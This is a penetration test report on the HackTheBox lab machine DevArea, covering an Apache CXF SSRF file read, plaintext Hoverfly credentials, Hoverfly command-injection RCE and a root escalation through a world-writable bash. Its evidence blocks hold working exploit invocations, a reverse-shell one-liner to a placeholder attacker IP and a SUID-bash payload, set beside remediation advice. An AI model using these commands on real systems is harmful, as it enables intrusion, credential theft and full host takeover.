ASSESSMENT REPORT

Penetration Test
Report

External network & web application assessment

Assessment target

DevArea

devarea.htb

Prepared by

Ledion Mujaj

Assessment date
15 May 2026

HackTheBox laboratory assessment — Linux

01 / 10
DEVAREAPenetration Test Report
HTB-DVA-01  |  Version 1.0Confidential2 / 10
DEVAREAPenetration Test Report

1. Executive Summary

Assessment outcome

Testing against devarea.htb identified one critical unauthenticated vulnerability that chains into two high-severity findings and a high-severity local privilege escalation to root. Full host compromise was achieved from an unauthenticated starting position.

Anonymous FTP access exposed an Apache CXF service JAR. CVE-2022-46364 (CVSS 9.8) allowed unauthenticated server-side request forgery via the MTOM XOP:Include mechanism, enabling arbitrary file read on the server. The Hoverfly systemd service file was read, disclosing administrator credentials stored in plaintext on the command line.

With the recovered credentials, CVE-2025-54123 authenticated remote code execution on Hoverfly v1.11.3 produced an interactive shell as dev_ryan. Privilege escalation was achieved by replacing the world-writable /usr/bin/bash binary with a SUID-dropping script, then triggering the script by invoking a sudo-permitted administration script that called /usr/bin/bash internally.

Impact

The complete compromise chain moved from no credentials to a root shell in four steps. An attacker in the same position could read all files on the host, modify system configuration, establish persistence, and use the host as a pivot point into any connected network.

Priority recommendations

  1. Apply the Apache CXF patch for CVE-2022-46364 and restrict SSRF-capable endpoints from making outbound requests.
  2. Remove credentials from systemd service files and any process command lines; use a secrets manager or environment file with restricted permissions instead.
  3. Apply the Hoverfly patch for CVE-2025-54123 and restrict the Hoverfly admin interface to authorised addresses.
  4. Correct the permissions on /usr/bin/bash and audit all binaries called by privileged scripts for unauthorised write access.

Conclusion

Each finding represents an independent control failure. F-01 enables credential recovery, but F-02 (plaintext storage) is the root cause of that exposure. F-03 and F-04 should be remediated regardless of F-01 and F-02 status.

HTB-DVA-01  |  Version 1.0Confidential3 / 10
DEVAREAPenetration Test Report

2. Assessment Scope and Methodology

2.1 Target and observed services

AssetDescription
devarea.htbUbuntu Linux; Apache httpd on 80, anonymous FTP on 21, SSH on 22, Jetty on 8080, Hoverfly on 8500 and 8888
PortServiceObserved detail
21/tcpFTPvsftpd 3.0.5; anonymous login permitted; pub/ contains employee-service.jar
22/tcpSSHOpenSSH 9.6p1 Ubuntu
80/tcpHTTPApache httpd 2.4.58; redirects to devarea.htb
8080/tcpHTTPJetty 9.4.27; Apache CXF SOAP service
8500/tcpHTTPGolang net/http; Hoverfly proxy
8888/tcpHTTPGolang net/http; Hoverfly Dashboard
nmap -sC -sV -p- <TARGET_IP>

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu
80/tcp   open  http    Apache httpd 2.4.58
8080/tcp open  http    Jetty 9.4.27.v20200227
8500/tcp open  http    Golang net/http server (proxy)
8888/tcp open  http    Golang net/http server
|_http-title: Hoverfly Dashboard

2.2 Approach

Testing started with full-port service discovery. Anonymous FTP was enumerated first, producing the CXF JAR. The JAR was decompiled to identify the CXF version and WSDL endpoint. SSRF was used to read internal files and recover credentials. Hoverfly was fingerprinted for CVE applicability and the RCE was confirmed before triggering the reverse shell. Post-exploitation enumeration with LinPEAS identified the sudo rule and the world-writable binary.

2.3 Severity classification

RatingAssessment criteria
CriticalDirect, readily exploitable compromise with exceptional impact or reach.
HighExecution of arbitrary code, significant unauthorised access or escalation to administrative privileges.
MediumMeaningful exposure with constrained impact or substantial exploitation prerequisites.
LowLimited direct impact; improvement to an existing security control.
HTB-DVA-01  |  Version 1.0Confidential4 / 10
DEVAREAPenetration Test Report

3. Results Overview

3.1 Findings summary

ReferenceFindingSeverityPage
F-01CVE-2022-46364: Apache CXF unauthenticated SSRF / arbitrary file readCritical6
F-02Administrator credentials stored in plaintext in systemd service fileHigh7
F-03CVE-2025-54123: Authenticated RCE on Hoverfly v1.11.3High8
F-04World-writable /usr/bin/bash binary enables root privilege escalationHigh9

3.2 Compromise sequence

StageActionAccess obtained
01Downloaded employee-service.jar from anonymous FTP; decompiled to identify Apache CXF version vulnerable to CVE-2022-46364.CXF WSDL endpoint confirmed
02Exploited CVE-2022-46364 SSRF to read /etc/systemd/system/hoverfly.service; extracted admin credentials from ExecStart line.Hoverfly admin credentials
03Exploited CVE-2025-54123 with recovered credentials; obtained reverse shell.dev_ryan shell
04Replaced world-writable /usr/bin/bash with SUID-drop payload; triggered via sudo syswatch.sh rule.Root shell (euid=0)

3.3 Relationship between findings

F-01 is required to read the service file that contains the credentials described in F-02. F-03 depends on those credentials. F-04 is independent of F-01 through F-03: any user with shell access who discovers the world-writable binary and the sudo rule can escalate to root without involving Hoverfly or the SSRF path.

HTB-DVA-01  |  Version 1.0Confidential5 / 10
DEVAREAPenetration Test Report

4.1 CVE-2022-46364: Apache CXF Unauthenticated SSRF

F-01   MTOM XOP:Include server-side request forgery

CRITICAL
FieldAssessment
DescriptionApache CXF before 3.5.5 / 3.4.10 is vulnerable to SSRF via MTOM XOP:Include. A SOAP request containing a multipart MTOM body with an XOP:Include element pointing to an arbitrary href URI causes the CXF server to fetch that URI server-side and include the retrieved content in the response. The file:// scheme is accepted, giving unauthenticated arbitrary file read on the server. CVSS 9.8 Critical.
PrerequisitesNetwork access to the CXF SOAP endpoint on port 8080. The JAR was publicly accessible via anonymous FTP, revealing the vulnerable version.
ImpactArbitrary read of any file readable by the Jetty service account, including configuration files, credentials, SSH keys and system files. The Hoverfly systemd service file was read, disclosing administrator credentials (F-02).
Affected systemdevarea.htb:8080
http://devarea.htb:8080/employeeservice
CVSS 3.19.8   AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-918: Server-Side Request Forgery (SSRF)

Steps to reproduce

  1. Download employee-service.jar from anonymous FTP: connect to devarea.htb and retrieve pub/employee-service.jar.
  2. Decompile the JAR to identify the Apache CXF WSDL endpoint and confirm the vulnerable version.
  3. Craft an MTOM SOAP request with an XOP:Include href="file:///etc/passwd" element and POST it to http://devarea.htb:8080/employeeservice.
  4. Observe that the response contains the base64-encoded content of /etc/passwd, confirming unauthenticated arbitrary file read.

Evidence

# Confirm arbitrary file read — /etc/passwd returned in response
python3 CVE-2022-46364.py \
  -t http://devarea.htb:8080/employeeservice \
  -s file:///etc/passwd \
  -d devarea.htb

# Response base64-decodes to /etc/passwd; dev_ryan (uid 1001) confirmed.

# Read Hoverfly systemd service file
python3 CVE-2022-46364.py \
  -t http://devarea.htb:8080/employeeservice \
  -s file:///etc/systemd/system/hoverfly.service \
  -d devarea.htb

# Response reveals full ExecStart command including credentials (see F-02).

Evidence E-01. Commands and service file content transcribed from assessment record. Credentials are documented under F-02. Public PoC: github.com/kasem545/CVE-2022-46364-Poc.

Remediation

Upgrade Apache CXF to version 3.5.5 or 3.4.10 or later to obtain the patch for CVE-2022-46364. Restrict outbound requests from the application server using egress firewall rules and a deny-by-default outbound policy. Validate and restrict allowed URI schemes in any SOAP or XML processing pipeline.

Verification

Confirm the patched CXF version is running. Attempt to trigger the MTOM XOP:Include SSRF against file:///etc/passwd and verify the request is rejected or sanitised. Confirm egress rules block unexpected outbound connections from the Jetty service.

HTB-DVA-01  |  Version 1.0Confidential6 / 10
DEVAREAPenetration Test Report

4.2 Plaintext Credentials in Systemd Service File

F-02   Hoverfly admin credentials in ExecStart

HIGH
FieldAssessment
DescriptionThe Hoverfly systemd unit file specifies the administrator username and password directly on the ExecStart command line as plaintext flags. Any process or user with read access to the unit file, or the ability to read process arguments, can recover the credentials without any further exploitation.
PrerequisitesRead access to /etc/systemd/system/hoverfly.service. Obtained via F-01 (SSRF) during testing, but the file may also be readable to local users depending on permissions.
ImpactFull administrator access to the Hoverfly application. The recovered credentials were used to authenticate to the CVE-2025-54123 exploit in F-03, producing a shell as dev_ryan.
Affected system/etc/systemd/system/hoverfly.service
devarea.htb:8888 (Hoverfly Dashboard)
CVSS 3.15.5   AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWECWE-312: Cleartext Storage of Sensitive Information

Steps to reproduce

  1. Using the SSRF from F-01, request the Hoverfly service file: python3 CVE-2022-46364.py -t http://devarea.htb:8080/employeeservice -s file:///etc/systemd/system/hoverfly.service -d devarea.htb.
  2. Decode the base64 response and locate the ExecStart line in the service unit file.
  3. Observe that the administrator username and password are passed as plaintext flags on the command line.

Evidence

# ExecStart line from hoverfly.service as returned by SSRF:
ExecStart=/opt/HoverFly/hoverfly -add -username admin \
  -password [redacted] -listen-on-host 0.0.0.0
User=dev_ryan

# Credentials confirmed by authenticating to Hoverfly Dashboard on port 8888.
# admin:[redacted] accepted.

Evidence E-02. ExecStart line transcribed from assessment record. Password shown as recovered from service file — it is not a system or SSH credential.

Remediation

Remove credentials from all command-line arguments and process environment. Use a systemd EnvironmentFile with permissions restricted to root and the service account, or a secrets manager. Audit all service unit files and cron jobs for credentials stored in plaintext.

Verification

Confirm that no credentials appear in the ExecStart line or any process-visible argument. Verify that the secrets file, if used, is not readable by unprivileged accounts and that the running Hoverfly process arguments do not include the password in /proc/<pid>/cmdline.

HTB-DVA-01  |  Version 1.0Confidential7 / 10
DEVAREAPenetration Test Report

4.3 CVE-2025-54123: Authenticated RCE on Hoverfly

F-03   Hoverfly middleware configuration command injection

HIGH
FieldAssessment
DescriptionHoverfly v1.11.3 is vulnerable to CVE-2025-54123: an authenticated attacker can inject arbitrary operating-system commands through the middleware configuration API endpoint. The Hoverfly Dashboard on port 8888 confirmed the vulnerable version.
PrerequisitesValid Hoverfly administrator credentials. Supplied by F-02 during testing.
ImpactArbitrary code execution as dev_ryan, the account under which Hoverfly runs. An interactive reverse shell was obtained, and the user flag was read from /home/dev_ryan/user.txt.
Affected systemdevarea.htb:8888
Hoverfly v1.11.3
CVSS 3.18.8   AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-94: Improper Control of Generation of Code (Code Injection)

Steps to reproduce

  1. Authenticate to the Hoverfly Dashboard at http://devarea.htb:8888 using credentials recovered in F-02.
  2. Confirm the Hoverfly version is v1.11.3 and matches the CVE-2025-54123 advisory.
  3. Execute the exploit script: ./CVE-2025-54123.sh -t http://devarea.htb:8888 -u admin -p <password> -c "id" and observe OS command output as dev_ryan.
  4. Replace the -c payload with a reverse shell one-liner to obtain an interactive shell.

Evidence

# RCE confirmation
./CVE-2025-54123.sh \
  -t http://<TARGET_IP>:8888 \
  -u admin -p [redacted] \
  -c "id"

# uid=1001(dev_ryan) gid=1001(dev_ryan) groups=1001(dev_ryan)

# Reverse shell
nc -lvnp 4444

./CVE-2025-54123.sh \
  -t http://<TARGET_IP>:8888 \
  -u admin -p [redacted] \
  -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1"

# Shell connects
dev_ryan@devarea:~$ cat /home/dev_ryan/user.txt
[redacted]

Evidence E-03. Exploit command and RCE confirmation transcribed from assessment record. Attacker IP replaced. User flag redacted.

Remediation

Upgrade Hoverfly to a version that resolves CVE-2025-54123. Restrict access to the Hoverfly Dashboard and API to authorised internal addresses. Apply the principle of least privilege to the Hoverfly service account; it should not run as a regular user account with a home directory and SSH access.

Verification

Confirm the patched Hoverfly version is running. Verify that the middleware configuration endpoint no longer accepts command injection payloads. Confirm that the Dashboard is unreachable from external or untrusted network segments.

HTB-DVA-01  |  Version 1.0Confidential8 / 10
DEVAREAPenetration Test Report

4.4 World-Writable System Binary Privilege Escalation

F-04   /usr/bin/bash writable; sudo syswatch.sh escalation

HIGH
FieldAssessment
Description/usr/bin/bash has world-write permissions (-rwxrwxrwx). A sudo rule permits dev_ryan to run /opt/syswatch/syswatch.sh as root without a password. That script calls /usr/bin/bash by absolute path. Replacing the binary with an attacker-controlled script causes it to execute as root when syswatch.sh is invoked via sudo. The script was replaced with a SUID-copy payload, producing a root shell via /tmp/rootbash -p.
PrerequisitesShell access as dev_ryan or any user with write permissions on /usr/bin/bash.
ImpactFull root privileges. Arbitrary code execution as root on the host.
Affected system/usr/bin/bash (world-writable)
/opt/syswatch/syswatch.sh (sudo NOPASSWD rule)
CVSS 3.17.8   AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-732: Incorrect Permission Assignment for Critical Resource

Steps to reproduce

  1. Check sudo permissions: sudo -l — observe that /opt/syswatch/syswatch.sh may be run as root without a password.
  2. Confirm /usr/bin/bash is world-writable: ls -la /usr/bin/bash — expect -rwxrwxrwx.
  3. Back up the binary (cp /usr/bin/bash /tmp/bash.bak) and replace it with a SUID-drop payload that copies bash to /tmp/rootbash with SUID bit set.
  4. Trigger the payload: sudo /opt/syswatch/syswatch.sh status — the script calls /usr/bin/bash, executing the payload as root.
  5. Run /tmp/rootbash -p and confirm root identity with id.

Evidence

dev_ryan@devarea:~$ ls -la /usr/bin/bash
-rwxrwxrwx 1 root root 1446024 /usr/bin/bash

dev_ryan@devarea:~$ sudo -l
(root) NOPASSWD: /opt/syswatch/syswatch.sh

# Back up real binary
cp /usr/bin/bash /tmp/bash.bak

# Replace with SUID-drop payload
cat > /usr/bin/bash << 'EOF'
#!/tmp/bash.bak
cp /tmp/bash.bak /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x /usr/bin/bash

# Trigger via sudo — executes payload as root
sudo /opt/syswatch/syswatch.sh status

dev_ryan@devarea:~$ ls -la /tmp/rootbash
-rwsr-xr-x 1 root root 1446024 /tmp/rootbash

dev_ryan@devarea:~$ /tmp/rootbash -p
rootbash-5.1# id
uid=1001(dev_ryan) gid=1001(dev_ryan) euid=0(root)

Evidence E-04. Commands transcribed from assessment record. Root flag at /root/root.txt confirmed after privilege escalation.

Remediation

Restore correct permissions on /usr/bin/bash (chmod 755, owner root). Audit all binaries invoked by scripts running under privileged sudo rules and confirm none are writable by unprivileged users. Review the sudo rule for syswatch.sh and replace or remove it if the functionality can be achieved without elevated privileges.

Verification

Confirm ls -la /usr/bin/bash shows permissions -rwxr-xr-x and the file is owned by root. Re-run the attack sequence from a dev_ryan context and confirm it fails. Verify the SUID binary at /tmp/rootbash is removed.

HTB-DVA-01  |  Version 1.0Confidential9 / 10
DEVAREAPenetration Test Report

5. Remediation and Assessment Closeout

5.1 Corrective action plan

PriorityActionReference
ImmediateRestore correct permissions on /usr/bin/bash; remove or narrow the syswatch.sh sudo rule.F-04
ImmediateRemove Hoverfly admin credentials from ExecStart; use a restricted EnvironmentFile or secrets manager.F-02
HighUpgrade Apache CXF to patch CVE-2022-46364; restrict server-side outbound requests.F-01
HighUpgrade Hoverfly to patch CVE-2025-54123; restrict Dashboard access to authorised addresses.F-03

No remediation retest is documented. Each finding includes verification criteria for closure.

5.2 Test artefacts

LocationPurposeRemoval status
/tmp/bash.bakBackup of original /usr/bin/bashNot verified
/tmp/rootbashSUID copy of bash — privilege escalation evidenceNot verified
/usr/bin/bashModified binary — should be restored from backupNot verified

5.3 Evidence and limitations

Evidence blocks are sourced from the DevArea assessment walkthrough. Flag values and cracked passwords are omitted from all evidence. The assessment did not verify all FTP contents or examine all running services.

5.4 Evidence index

ReferenceSupporting record
E-01Walkthrough section 2: CVE-2022-46364 SSRF file read
E-02Walkthrough section 2: Hoverfly service file credential disclosure
E-03Walkthrough section 3: CVE-2025-54123 RCE and reverse shell
E-04Walkthrough section 4: World-writable bash binary and sudo escalation